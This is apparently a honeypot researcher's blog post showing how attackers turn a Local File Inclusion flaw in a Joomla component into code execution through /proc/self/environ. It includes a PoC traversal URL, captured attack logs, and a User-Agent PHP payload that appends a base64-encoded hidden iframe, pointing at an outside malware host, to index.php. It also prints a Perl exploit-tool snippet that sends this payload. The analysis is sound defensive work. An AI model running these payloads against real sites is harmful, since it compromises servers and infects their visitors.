[Honeypot Alert] Turning Local File Inclusion into Reflected Code Execution

Which web application attack type is more severe: Local File Inclusion (LFI) or Code Execution? Most people would say the latter as the majority of threat modeling exercises assign LFI attacks/vulnerabilities a lower severity rating. Successful LFI attacks normally result in information or data leakages as the attackers are able to access existing files but not create them. Code execution attacks, on the other hand, allow the attacker to run commands on your system as if they had local access on a command prompt. The result is that LFI attacks and vulnerabilities may not be given a high priority designation from a remediation perspective. In this blog post, I will show an LFI attack that we have seen that demonstrates how attackers can turn LFI attacks into Code Execution attacks.

Joomla Component com_svmap LFI

First let's take a look at an example LFI vulnerability in a Joomla component. Here is PoC exploit code:

================================================================================================  Title    : Joomla Component com_svmap v1.1.1 LFI Vulnerability Vendor   : http://www.la-souris-verte.com   Date     : Monday, 05 April 2010 (Indonesia) Author   : Vrs-hCk Contact  : ander[at]antisecurity.org Blog     : http://c0li.blogspot.com/  ================================================================================================  [+] Exploit      http://[site]/[path]/index.php?option=com_svmap&controller=[LFI]  [+] PoC      http://localhost/index.php?option=com_svmap&controller=../../../../../../../etc/passwd%00  ================================================================================================

Web Honeypot Attack Examples

58.17.185.231 - - [19/Apr/2012:09:25:16 +0900] "GET //index.php?option=com_svmap&controller=../etc/passwd%0000 HTTP/1.1" 404 21658.17.185.231 - - [19/Apr/2012:09:25:17 +0900] "GET //index.php?option=com_svmap&controller=....//etc/passwd%0000 HTTP/1.1" 404 21658.17.185.231 - - [19/Apr/2012:09:25:18 +0900] "GET //index.php?option=com_svmap&controller=....//....//etc/passwd%0000 HTTP/1.1" 404 21658.17.185.231 - - [19/Apr/2012:09:25:18 +0900] "GET //index.php?option=com_svmap&controller=../../etc/passwd%0000 HTTP/1.1" 404 21658.17.185.231 - - [19/Apr/2012:09:25:19 +0900] "GET //index.php?option=com_svmap&controller=../../../etc/passwd%0000 HTTP/1.1" 404 21658.17.185.231 - - [19/Apr/2012:09:25:20 +0900] "GET //index.php?option=com_svmap&controller=....//....//....//....//etc/passwd%0000 HTTP/1.1" 404 21658.17.185.231 - - [19/Apr/2012:09:25:20 +0900] "GET //index.php?option=com_svmap&controller=....//....//....//etc/passwd%0000 HTTP/1.1" 404 21658.17.185.231 - - [19/Apr/2012:09:25:20 +0900] "GET //index.php?option=com_svmap&controller=../../../../etc/passwd%0000 HTTP/1.1" 404 21658.17.185.231 - - [19/Apr/2012:09:25:21 +0900] "GET //index.php?option=com_svmap&controller=....//....//....//....//....//etc/passwd%0000 HTTP/1.1" 404 216

As you can see, the attacker is attempting to execute an LFI attack against the controller parameter of the svmap Joomla component in order to access the OS /etc/passwd file contents.

Using /proc/self/environ for Code Execution

In addition to the LFI attacks targeting /etc/passwd and /etc/shadow files, we have also seen extensive probing requests for the /proc/self/environ file:

188.138.84.69 - - [12/Dec/2012:03:00:58 +0100] "GET /?option=com_svmap&controller=../../../../../../../../../../../../..//proc/self/environ%0000 HTTP/1.1" 200 942 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0; .NET CLR 2.0.50727)"188.138.84.69 - - [12/Dec/2012:03:03:20 +0100] "GET /?option=com_svmap&controller=../../../../../../../../../../../../..//proc/self/environ%0000 HTTP/1.1" 200 942 "-" "Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)"188.138.84.69 - - [12/Dec/2012:03:04:19 +0100] "GET /?option=com_svmap&controller=../../../../../../../../../../../../..//proc/self/environ%0000 HTTP/1.1" 200 942 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0; .NET CLR 2.0.50727)"188.138.84.69 - - [12/Dec/2012:03:08:12 +0100] "GET /?option=com_svmap&controller=../../../../../../../../../../../../..//proc/self/environ%0000 HTTP/1.1" 200 942 "-" "Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)"115.84.181.33 - - [12/Dec/2012:03:18:41 +0100] "GET /?option=com_svmap&controller=../../../../../../../../../../../../..//proc/self/environ%0000 HTTP/1.1" 200 942 "-" "Mozilla/4.0 (compatible; MSIE 5.0; SunOS 5.9 sun4u; X11)"69.94.34.190 - - [12/Dec/2012:12:10:42 +0100] "GET //index.php?option=com_svmap&controller=../../../../../../../../../../../../../../../proc/self/environ%00 HTTP/1.1" 404 289 "-" "libwww-perl/6.04"

What is the purpose of these requests? These are initial probes to verify if the target web application is vulnerable to LFI attacks. The /proc/self/environ file holds environmental variable data about the currently running process, in this case the web server thread. The attacker will then review the html response content to see if it has data similar to the following which contains the environmental tokens:

Notice that this data includes the HTTP request header data sent by the attacker? One of these is the HTTP_USER_AGENT field. Due to the configuration processing of PHP, an attacker can insert their own PHP code into the User-Agent field and have it execute by the web application. What is interesting about this attack technique is that it is very similar in exploit theory to Reflected Cross-site Scripting (XSS) attacks. In this case, however, it is the web application that is executing the reflected code and not the end user's web browser. Here is an example of an attack we saw today on our web honeypots:

202.131.112.69 - - [12/Dec/2012:06:38:19 +0200] "GET //index.php?option=com_svmap&controller=../../../../../../../../../../../../../../../proc/self/environ%00 HTTP/1.1" 404 292 "-" "<?php echo(\"KURWA\"); file_put_contents(\"./index.php\", base64_decode(\"Pz48aWZyYW1lIHNyYz0iaHR0cDovL3p1by5wb2Rnb3J6Lm9yZy96dW8vZWxlbi9pbmRleC5waHAiIHdpZHRoPSIwIiBoZWlnaHQ9IjAiIGZyYW1lYm9yZGVyPSIwIj48L2lmcmFtZT48P3BocA==\"), FILE_APPEND); ?>"

The highlighted portion of the Apache access_log file shows that the attacker has placed PHP code within the User-Agent field of the request. What does this code do?

1. It echoes the string "KURWA" back in the response. It is assumed that this is simply a beacon call to let the attacker know that the code executed.
2. Uses the PHP function called file_put_contents which is used to write data to a file.
3. The attacker's goal is to append the base64 encoded string to the end of the existing index.php file.

The base64 encoded string decodes to:

?><iframe src="http://zuo.podgorz.org/zuo/elen/index.php" width="0" height="0" frameborder="0"></iframe><?php

The purpose, therefore, of this particular attack is to insert a drive-by-download invisible IFRAME onto the end of the index.php file. The remote site would most likely be serving some type of malware kit such as Blackhole. Adding malware links is but only one option however. Other exploit examples could include using wget/curl to download a backdoor webshell. Here is an example of an exploit tool that use this technique:

sub getcontent() {    my $url = $_[0];    my $agent = "<?php echo(\"KURWA\"); file_put_contents(\"./index.php\", base64_decode(\"PGlmcmFtZSBzcmM9Imh0dHA6Ly96dW8ucG9kZ29yei5vcmcvenVvL2VsZW4vaW5kZXgucGhwIiB3aWR0aD0iMCIgaGVpZ2h0PSIwIiBmcmFtZWJvcmRlcj0iMCI+PC9pZnJhbWU+\"), FILE_APPEND); ?>";    my $ua = LWP::UserAgent->new(agent => $agent);    $ua->timeout(10);    my $req = HTTP::Request->new(GET => $url);    my $response = $ua->request($req);    return $response->content;}